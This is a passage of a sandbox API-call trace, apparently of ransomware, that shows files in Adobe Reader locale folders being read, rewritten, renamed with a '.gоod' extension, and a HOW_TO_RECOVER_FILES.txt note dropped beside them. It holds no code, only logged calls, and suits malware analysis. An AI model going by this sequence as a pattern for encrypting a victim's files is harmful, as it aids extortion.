cAlternateFileName="")) returned 1 [0205.341] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0205.341] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0205.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0205.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0205.341] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0205.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0205.341] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0205.342] GetFileType (hFile=0x7f8) returned 0x1 [0205.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0205.342] GetFileType (hFile=0x7f8) returned 0x1 [0205.342] WriteFile (in: hFile=0x7f8, lpBuffer=0x34eed28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x34eed28*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0205.343] CloseHandle (hObject=0x7f8) returned 1 [0205.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0205.344] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr", lpFilePart=0x0) returned 0x77 [0205.344] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0205.344] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.345] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0205.345] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0205.345] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0205.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0205.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0205.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0205.345] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr", lpFilePart=0x0) returned 0x77 [0205.345] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0205.345] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.346] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0205.346] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0205.346] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0205.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0205.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0205.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0205.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0205.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34fec70 | out: lpFileInformation=0x34fec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738)) returned 1 [0205.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0205.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0205.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0205.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.347] GetFileType (hFile=0x7f8) returned 0x1 [0205.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0205.347] GetFileType (hFile=0x7f8) returned 0x1 [0205.347] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x738 [0205.347] ReadFile (in: hFile=0x7f8, lpBuffer=0x34ff750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x34ff750*, lpNumberOfBytesRead=0x203eb258*=0x738, lpOverlapped=0x0) returned 1 [0205.348] CloseHandle (hObject=0x7f8) returned 1 [0205.642] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0205.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0205.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.644] GetFileType (hFile=0x7f8) returned 0x1 [0205.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0205.644] GetFileType (hFile=0x7f8) returned 0x1 [0205.644] WriteFile (in: hFile=0x7f8, lpBuffer=0x3519508*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3519508*, lpNumberOfBytesWritten=0x203eb168*=0x740, lpOverlapped=0x0) returned 1 [0205.645] CloseHandle (hObject=0x7f8) returned 1 [0205.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0205.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0205.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0205.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x76c90de7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0205.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0205.645] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\ui-strings.js.gоod")) returned 1 [0205.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0205.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0205.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0205.648] GetFileType (hFile=0x7f8) returned 0x1 [0205.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0205.648] GetFileType (hFile=0x7f8) returned 0x1 [0205.649] WriteFile (in: hFile=0x7f8, lpBuffer=0x351ce18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x351ce18*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0205.649] CloseHandle (hObject=0x7f8) returned 1 [0205.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0205.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu", lpFilePart=0x0) returned 0x77 [0205.650] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0205.651] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.651] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0205.652] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0205.652] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0205.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0205.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0205.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0205.652] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu", lpFilePart=0x0) returned 0x77 [0205.652] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0205.652] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.652] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0205.653] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0205.653] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0205.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0205.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0205.653] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0205.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0205.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x352ccf0 | out: lpFileInformation=0x352ccf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771)) returned 1 [0205.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0205.653] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0205.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0205.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.653] GetFileType (hFile=0x7f8) returned 0x1 [0205.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0205.654] GetFileType (hFile=0x7f8) returned 0x1 [0205.654] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x203eb328 | out: 